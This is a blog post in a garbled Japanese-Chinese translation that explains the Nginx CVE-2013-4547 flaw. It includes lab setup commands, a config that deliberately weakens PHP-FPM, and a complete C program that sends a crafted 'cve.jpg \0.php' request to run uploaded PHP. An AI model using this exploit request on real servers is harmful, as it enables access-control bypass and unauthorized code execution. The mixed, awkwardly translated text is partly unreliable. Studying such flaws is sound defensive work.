あらゆる脆弱性の出現は、ソフトウェア開発者の意図しない努力とハッカー/ハッカーの意図的な努力の結果であり、そのほとんどは 1 人または少数のプログラマーが数えきれないほどの苦難を経験した後に生まれます。あまりにも多くの空虚感、孤独感、冷たさを経験し、すべての欠陥が非常に価値があると感じています。これらの裕福でハンサムな男性と付き合うのが私の夢でした。残念ながら、私の能力と時間には限界があります。彼らのズボンの裾を引っ張り出して、彼らをよく見て、抱き締めて、愛情を込めて言うことしかできません。みんな、友達になりましょう。
今日登場した金持ちでハンサムな男性は、Nginx バージョン 0.8.41 から 1.4.3 および 1.5.7 より前の 1.5.x バージョンのセキュリティ脆弱性である CVE-2013-4547 であることがわかります。非常に大きく、金持ちとしての地位にふさわしい。具体的には、エスケープされていないスペース文字を含むリクエスト URI を検証するときに Nginx プログラムに論理エラーが発生し、リモート攻撃者がこの脆弱性を利用して設定上の制限を回避し、情報漏洩、システム ファイルの変更、パフォーマンスの低下、またはリソース アクセスの中断を引き起こす可能性があります。 。
脆弱性悪用とは、ハッカーが異常な動作環境を構築してソフトウェアの欠陥を暴露し、それによって違法な利益を得る行為です。私は個人的に、脆弱性の危険性を悪用するには 3 つの要素があると考えています:
1. ソフトウェアには抜け穴 (欠陥) があります。抜け穴がない場合、それはまだ発見されていないことを意味します。ソフトウェアと呼ぶにはまだ十分です。
2. 脆弱性の露出の条件を構築する: この条件の構築は非常に厳しく、簡単である場合は、これが脆弱性ではなくバックドアであるかどうかを検討する必要があるかもしれません。あるいは、まあ、これもそうなのかもしれませんが、結局のところ、養成学校で 3 日間勉強してからソフトウェアを書き始める人が多いのです。
3. 不当な利得: 私には「ただの遊びだから、真剣に取り組む必要はない」というマントラがあります。一般の人には教えていませんが、このエッセンスを手に入れた人は石鹸を集めるために狭い暗い部屋に閉じ込められます。
早速、CVE-2013-4547 を使用して悪いことをする方法を見てみましょう。純粋に理論的な研究であるため、その結果はあなたが負担しなければなりません。言うのはいいけど、絶対にやめてください!
パート 1: 情報漏洩、つまり、この脆弱性を介した保護されたファイルへのアクセス。 1. まず、この脆弱性のある Nginx Web サーバーを見つける必要があります。ここでは、Rewrite_module が削除されているため、デバッグの追加は特別なものではありません。現在の環境には pcre ライブラリがないため、この脆弱性には影響しないため、直接削除しました。
2. Nginx を起動して、基本的に問題ないかどうかを確認します
[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx。 conf
wget
を通して http://127.0.0.1 にアクセスします
[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1うーん、わかりました。
3. 環境を構築します
注 1 の紹介によると、
a) Nginx 設定ファイルを変更し、ユーザーがアクセスできない保護されたディレクトリを追加する必要があります。変更されているため、再起動が必要です Nginx:/usr/local/nginx/sbin/nginx -s reload
b) には、Web ディレクトリにスペースを含むフォルダーが必要です:
[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz[root@localhost gqk]# cd nginx-1.4.0[root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module[root@localhost nginx-1.4.0]# make & make install
dir1: スペースなし
"dir 2": スペースあり真ん中にスペース
"dir3 ": 最後にスペースがあります
protected: 保護されたディレクトリ、このディレクトリには sec.html ファイルもあります
c) リクエストの構築 リクエスト URI 内のスペース構築されたものはエンコードできず、ブラウザまたは wget はスペースを自動的に %20 としてエンコードするため、代わりにcurlを使用します。
4、比較テスト a) sec.html を直接リクエストしますが、保護されたディレクトリを保護するポリシーを設定しているため、これはもちろん拒否されます:
location /protected/ { deny all; }
5、実際の適用性
上記の説明からわかるように、この脆弱性を引き起こすにはいくつかの条件が必要です:
a) Nginx バージョン 0.8.41 から 1.4.3 および 1.5.7 バージョンより前の 1.5.x。結局のところ、非常に多くのバージョンが関係しているため、これを行うのは簡単です。
b) Web サーバー管理者は、ディレクトリを保護するためにこの一般的な文字一致戦略を使用する必要があります。他の保護戦略 (^~ や ~* など) の場合、条件は失敗します。インターネット上には何千もの Web サイトがあり、検索すると、このように構成された Nginx WebServer サイトが存在するはずです。
c)需要文件名末尾带有空格的文件夹,其他形式失败。怎么做?通过WebServer里站点提供的上传服务(如果有的话),上传对应的文件夹或压缩文件(如果服务器有提供解压功能)到服务器,然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个,有点难,现在的Web应用应该都会对高危文件(上传文件)做处理,比如改名是起码的。但是,慢慢的抠吧,成功就在不远处,如你的女神一般,永远那么飘渺。。。不过,也有逆袭的,是吧。。。
第二部分:未授权执行,即让Php引擎执行非php文件。
1,根据注1的内容,上面介绍的只是CVE-2013-4547的其中一个应用,即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行,下面以php脚本为例,具体来看。
配置Nginx+Php环境,Php现在很流行。
下载php源码进行安装
[root@localhost gqk]# tar xf php-5.5.33.tar.bz2[root@localhost gqk]# cd php-5.5.33[root@localhost php-5.5.33]# ./configure --enable-fpm[root@localhost php-5.5.33]# make[root@localhost php-5.5.33]# make install
注意configure带的选项,需要打开fpm,如果要开启其他功能,比如mysql,请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。准备配置文件:
[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini[root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf[root@localhost php-5.5.33]# php-fpm[root@localhost php-5.5.33]# netstat -natp | grep 9000
如果可以grep到对应的php-fpm进程,说明php安装初步ok了。
需要重新编译Nginx,让它支持PCRE。
首先从http://www.pcre.org/下载pcre-8.38.tar.gz,然后三板斧./configure & make & make install安装。
如果后门Nginx出现找不到pcre库的报错,比如:
/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory
那么可能需要在PCRE的configure时指定lib目录到/usr/lib64:
./configure –prefix=/usr –libdir=/usr/lib64
其次,重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。修改Nginx配置文件,加上PHP支持:
location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params;}
最后,写个简单的test.php测试一下,
访问确保php正常解析。
2,构造环境
a)在默认配置下,Php-fpm只让php引擎执行php后缀的文件,因此第一个条件是要修改配置文件
/usr/local/etc/php-fpm.conf
把里面的limit_extensions设置为空。
; Note: set an empty value to allow all extensions.; Default Value: .phpsecurity.limit_extensions =
b)在web目录下新增一个文件”cve.jpg “(注意这是一个末尾带有空格的文件),内容为php代码:
<?phpecho "Illegal execution.";?>
c)我们构造一个伪造请求,请求的地址为”/cve.jpg \0.php”,注意两点:
i)其中的空格没有编码
ii)\0是一个字符,是零,是字符串的结束字符。
3,测试
伪造请求,因为我们要伪造的请求里包含有字符串的结束字符\0,因此curl命令貌似是不能用了,至少我暂时是还不知道怎么传递这个\0给curl命令,可能有办法,需要查手册。
不过因为我之前研究Nginx时,写过这样的Http请求代码来调试Nginx逻辑,所以先直接用这个可行的办法,代码如下:
/** * gcc -Wall -g -o bogus_request bogus_request.c */#include <sys/types.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <unistd.h>char req_header[] = "GET /cve.jpg \0.php HTTP/1.1\r\nUser-Agent: curl/7.19.7\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";#define MAX_DATA_LEN (1024)char res_data[MAX_DATA_LEN];int main(int argc, char *const *argv){ int sockfd; struct sockaddr_in server_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) { fprintf (stderr, "Socket error,%s\r\n", strerror (errno)); return -1; } bzero (&server_addr, sizeof (server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons (80); if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) { fprintf (stderr, "Bad address:%s\r\n", strerror (errno)); close (sockfd); return -1; } if (connect (sockfd, (struct sockaddr *) (&server_addr), sizeof (struct sockaddr)) == -1) { fprintf (stderr, "Connect Error:%s\r\n", strerror (errno)); close (sockfd); return -1; } write (sockfd, req_header, sizeof(req_header) - 1); for (;;) { read (sockfd, res_data, MAX_DATA_LEN); printf ("res:%s", res_data); } close (sockfd); return 0;}
编译执行看结果:
[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0[root@localhost ~]# ./bogus_request res:HTTP/1.1 200 OKServer: nginx/1.4.0Date: Wed, 23 Mar 2016 10:04:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.3312Illegal execution.0
可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg \0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行,而Php引擎在查找定位文件”cve.jpg \0.php”时又被\0截断,导致最终执行的脚本文件是”cve.jpg “。
4,实际可应用程度因为同样要构造文件名末尾带空格的文件,因此这个漏洞其实难以被真正利用。原因在前面提到过了,不再多说。不过这只是Linux下的情况,那Windows环境下又如何呢?
第三部分:Windows环境
这个漏洞在Windows环境下的利用价值就大大增强了,因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时,会自动忽略对应文件名后的空格,也就是:
read “a.txt ” -> 实际读取的是文件”a.txt”
write “b.txt ” -> 实际写的是文件”b.txt”
下面是测试代码(VC6下测试,注2):
#include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){ HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile ==INVALID_HANDLE_VALUE) { printf("openfailed!"); } else { printf("fileopened"); } CloseHandle(hFile); return 0;}
注意程序里用的是”a.txt “,而我们准备一个”a.txt”文件在对应路径下,上面的代码也可以正常打开,输出”fileopened”。事实上,在Windows的文件管理里,新建文件时,在文件名后带上空格,敲回车后生成的新文件文件名是没有带空格的,即被自动过滤掉了。也许就是和上面同样的原因。
Windows ではこの最も困難な前提条件が削除されているため、この脆弱性の悪用可能性は大幅に向上しています。
パート 4: Nginx 関連の脆弱性コード分析は今のところ省略されています。恥ずかしいのでもう書きたくないです。
注 1: http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222注 2: http://drops.wooyun.org/tips/2006
転載用のアドレスは保存しておいてください: http://www.lenky.info/archives/2016/04/2488 または http://lenky.info/?p=2488
注: 特に明記されていない限り、記事の内容はこれはレンキー自身によるものです。これは、無謀な推測によって人々の耳や目を欺こうとする意図的な試みではなく、真の理解です。私の個人的なレベルが限られているため、内容を正確にするように努めていますが、それでも間違いは避けられませんので、可能であればメッセージを残してお知らせください。 Lenky の記事とコンテンツの一部の参照は、インターネット上のネチズンの熱心な共有に基づいていることにも言及する価値があります。特に、完全な参照を含む一部の記事は、後で添付されたリンクの内容がより直接的で充実している可能性があります。要約して意訳させていただきましたが、感謝の意を表したいと思います。このサイトのすべての技術記事については転載していただいて構いませんが、個人的な性質が強い、感情的な部分については転載しないことをお勧めします。
法律: 最新の「情報ネットワーク通信権の保護に関する規則」に従って、この記事の内容がお客様の権利を侵害していると思われる場合は、電子メールまたは書面で当社に通知してください。本サイトは関連する内容を削除します。コンテンツやリンクをタイムリーに提供します。